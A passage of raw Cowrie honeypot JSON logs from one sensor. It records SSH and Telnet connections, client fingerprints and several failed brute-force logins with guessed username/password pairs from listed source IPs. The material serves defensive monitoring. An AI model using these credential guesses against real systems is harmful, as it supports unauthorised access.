""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:13.951729Z","src_ip":"157.66.34.121","session":"42411537470c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":44548,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc326af7fad1","protocol":"telnet","message":"New connection: 185.207.250.135:44548 (159.203.135.109:23) [session: cc326af7fad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:13.983462Z"}
{"eventid":"cowrie.session.closed","duration":36.16832089424133,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:14.135470Z","src_ip":"23.254.167.244","session":"81cf7f81f260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40460,"dst_ip":"159.203.135.109","dst_port":23,"session":"f820ff524b67","protocol":"telnet","message":"New connection: 209.159.146.115:40460 (159.203.135.109:23) [session: f820ff524b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:14.234238Z"}
{"eventid":"cowrie.session.closed","duration":31.418934106826782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:14.564851Z","src_ip":"114.23.51.89","session":"86b67a9755bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40702,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e8d97d4513a","protocol":"telnet","message":"New connection: 114.23.51.89:40702 (159.203.135.109:23) [session: 5e8d97d4513a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:14.781224Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin23","message":"login attempt [root/admin23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:14.935719Z","src_ip":"157.66.34.121","session":"42411537470c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44996,"dst_ip":"159.203.135.109","dst_port":23,"session":"781a06fbaaff","protocol":"telnet","message":"New connection: 23.254.167.244:44996 (159.203.135.109:23) [session: 781a06fbaaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:15.671516Z"}
{"eventid":"cowrie.session.closed","duration":31.15768527984619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:15.808896Z","src_ip":"114.23.51.89","session":"c0f7113d6aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:16.170671Z","src_ip":"157.66.34.121","session":"42411537470c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40716,"dst_ip":"159.203.135.109","dst_port":23,"session":"f96f1654b9cd","protocol":"telnet","message":"New connection: 114.23.51.89:40716 (159.203.135.109:23) [session: f96f1654b9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:16.325088Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40722,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1522ea3057","protocol":"telnet","message":"New connection: 114.23.51.89:40722 (159.203.135.109:23) [session: 5f1522ea3057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:17.084256Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":48892,"dst_ip":"159.203.135.109","dst_port":23,"session":"9330d2692aa3","protocol":"telnet","message":"New connection: 185.207.250.135:48892 (159.203.135.109:23) [session: 9330d2692aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:17.391821Z"}
{"eventid":"cowrie.session.closed","duration":31.83405065536499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:17.657543Z","src_ip":"209.159.146.115","session":"a1b3c682280a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220515251159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:18.062184Z","src_ip":"114.23.51.89","session":"fd9b5757e5f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840454816818237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:18.185803Z","src_ip":"185.207.250.135","session":"8b669b7d1882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623910903930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:18.468974Z","src_ip":"114.23.51.89","session":"4384e2407526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53934,"dst_ip":"159.203.135.109","dst_port":23,"session":"329b368be457","protocol":"telnet","message":"New connection: 114.23.51.89:53934 (159.203.135.109:23) [session: 329b368be457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:18.875365Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":53646,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d0595780297","protocol":"ssh","message":"New connection: 74.87.117.149:53646 (10.17.0.5:22) [session: 3d0595780297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:19.224506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:19.231504Z","src_ip":"74.87.117.149","session":"3d0595780297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:19.256596Z","src_ip":"74.87.117.149","session":"3d0595780297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1234567","message":"login attempt [user2/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:19.388060Z","src_ip":"74.87.117.149","session":"3d0595780297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.95733070373535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:19.572564Z","src_ip":"23.254.167.244","session":"88be4b9a78f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51368,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08ac21b513b","protocol":"telnet","message":"New connection: 23.254.167.244:51368 (159.203.135.109:23) [session: a08ac21b513b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.078624Z"}
{"eventid":"cowrie.session.closed","duration":31.94133710861206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.089736Z","src_ip":"114.23.51.89","session":"5f12f1a29694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":52188,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a218d646ac2","protocol":"telnet","message":"New connection: 185.207.250.135:52188 (159.203.135.109:23) [session: 4a218d646ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.104107Z"}
{"eventid":"cowrie.session.closed","duration":31.27440905570984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.413511Z","src_ip":"114.23.51.89","session":"5c1992046714","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.418407Z","src_ip":"74.87.117.149","session":"3d0595780297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":52628,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef75216f15ef","protocol":"telnet","message":"New connection: 185.207.250.135:52628 (159.203.135.109:23) [session: ef75216f15ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.478400Z"}
{"eventid":"cowrie.session.closed","duration":13.361761331558228,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.714690Z","src_ip":"115.211.239.204","session":"f14a961440cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.483957290649414,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:20.807793Z","src_ip":"23.254.167.244","session":"5b6289a8a8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":53780,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed9360a81641","protocol":"telnet","message":"New connection: 185.207.250.135:53780 (159.203.135.109:23) [session: ed9360a81641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:21.387450Z"}
{"eventid":"cowrie.session.closed","duration":31.1843318939209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:21.605193Z","src_ip":"114.23.51.89","session":"0050059c741f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049890518188477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:22.311816Z","src_ip":"114.23.51.89","session":"243cf90fc2ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32943367958069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:22.356976Z","src_ip":"114.23.51.89","session":"96306dc1748b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94111657142639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:23.193997Z","src_ip":"114.23.51.89","session":"c59ef5975ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":56282,"dst_ip":"159.203.135.109","dst_port":23,"session":"07192ea57629","protocol":"telnet","message":"New connection: 185.207.250.135:56282 (159.203.135.109:23) [session: 07192ea57629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:23.618277Z"}
{"eventid":"cowrie.session.closed","duration":31.908244132995605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:23.716661Z","src_ip":"114.23.51.89","session":"a61e4f8d909b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53940,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a00cc063b3e","protocol":"telnet","message":"New connection: 114.23.51.89:53940 (159.203.135.109:23) [session: 6a00cc063b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:24.382291Z"}
{"eventid":"cowrie.session.closed","duration":31.182634592056274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:24.487427Z","src_ip":"114.23.51.89","session":"bfe568daf47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":57376,"dst_ip":"159.203.135.109","dst_port":23,"session":"3744ec78accc","protocol":"telnet","message":"New connection: 185.207.250.135:57376 (159.203.135.109:23) [session: 3744ec78accc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:24.686774Z"}
{"eventid":"cowrie.session.closed","duration":35.77964663505554,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:26.674743Z","src_ip":"23.254.167.244","session":"969c86c742db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63445258140564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:27.078334Z","src_ip":"23.254.167.244","session":"453310221aab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53956,"dst_ip":"159.203.135.109","dst_port":23,"session":"518aca1c226f","protocol":"telnet","message":"New connection: 114.23.51.89:53956 (159.203.135.109:23) [session: 518aca1c226f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:27.390001Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34724,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d5d04071cf5","protocol":"telnet","message":"New connection: 23.254.167.244:34724 (159.203.135.109:23) [session: 3d5d04071cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:28.115067Z"}
{"eventid":"cowrie.session.closed","duration":30.559905290603638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:30.223224Z","src_ip":"185.207.250.135","session":"79ab438755ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.252614974975586,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:30.269656Z","src_ip":"114.23.51.89","session":"8ab193cab5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512292623519897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:31.853156Z","src_ip":"185.207.250.135","session":"7bb14579c079","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09588027000427,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:33.353271Z","src_ip":"185.26.126.47","session":"25583384e264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.39714503288269,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:33.803561Z","src_ip":"23.254.167.244","session":"287351409f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"92a95f46c146","protocol":"telnet","message":"New connection: 114.23.51.89:42386 (159.203.135.109:23) [session: 92a95f46c146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:34.189057Z"}
{"eventid":"cowrie.session.closed","duration":30.781291961669922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:34.555874Z","src_ip":"114.23.51.89","session":"3a8ec9a7581f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.62525129318237,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:34.912606Z","src_ip":"185.26.126.47","session":"211159cf7478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42618,"dst_ip":"159.203.135.109","dst_port":23,"session":"630927ba3001","protocol":"telnet","message":"New connection: 23.254.167.244:42618 (159.203.135.109:23) [session: 630927ba3001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:34.917383Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42394,"dst_ip":"159.203.135.109","dst_port":23,"session":"13147d3bac34","protocol":"telnet","message":"New connection: 114.23.51.89:42394 (159.203.135.109:23) [session: 13147d3bac34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:35.205877Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42400,"dst_ip":"159.203.135.109","dst_port":23,"session":"218db7c4aecd","protocol":"telnet","message":"New connection: 114.23.51.89:42400 (159.203.135.109:23) [session: 218db7c4aecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:36.955977Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":41748,"dst_ip":"159.203.135.109","dst_port":23,"session":"f60c4a7a1fa6","protocol":"telnet","message":"New connection: 185.207.250.135:41748 (159.203.135.109:23) [session: f60c4a7a1fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:37.040481Z"}
{"eventid":"cowrie.session.closed","duration":30.68680739402771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:37.062654Z","src_ip":"185.207.250.135","session":"12ef7c60ac8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58592,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d6f3a713f0","protocol":"ssh","message":"New connection: 159.203.92.129:58592 (159.203.135.109:22) [session: 30d6f3a713f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:37.337659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:37.342068Z","src_ip":"159.203.92.129","session":"30d6f3a713f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:37.346410Z","src_ip":"159.203.92.129","session":"30d6f3a713f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"1111","message":"login attempt [anna/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:37.355942Z","src_ip":"159.203.92.129","session":"30d6f3a713f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:38.362003Z","src_ip":"159.203.92.129","session":"30d6f3a713f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":44120,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ee3c8bf4f82","protocol":"telnet","message":"New connection: 185.207.250.135:44120 (159.203.135.109:23) [session: 2ee3c8bf4f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:39.196769Z"}
{"eventid":"cowrie.session.closed","duration":31.646166801452637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:41.742364Z","src_ip":"185.207.250.135","session":"1619aa64ae59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9294894a161","protocol":"telnet","message":"New connection: 185.207.250.135:47664 (159.203.135.109:23) [session: e9294894a161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:42.174472Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":47786,"dst_ip":"159.203.135.109","dst_port":23,"session":"15009cf2c416","protocol":"telnet","message":"New connection: 185.207.250.135:47786 (159.203.135.109:23) [session: 15009cf2c416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:42.242610Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":47928,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f67adf5ff13","protocol":"telnet","message":"New connection: 185.207.250.135:47928 (159.203.135.109:23) [session: 0f67adf5ff13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:42.359856Z"}
{"eventid":"cowrie.session.closed","duration":30.76590919494629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:42.575780Z","src_ip":"114.23.51.89","session":"f71f46159452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":48866,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf5b03e3550","protocol":"telnet","message":"New connection: 185.207.250.135:48866 (159.203.135.109:23) [session: 1bf5b03e3550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:43.073654Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd483ea16438","protocol":"telnet","message":"New connection: 185.207.250.135:48960 (159.203.135.109:23) [session: dd483ea16438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:43.203300Z"}
{"eventid":"cowrie.session.closed","duration":31.62682032585144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:43.809407Z","src_ip":"185.207.250.135","session":"38e6d96c3eda","protocol":"telnet"}
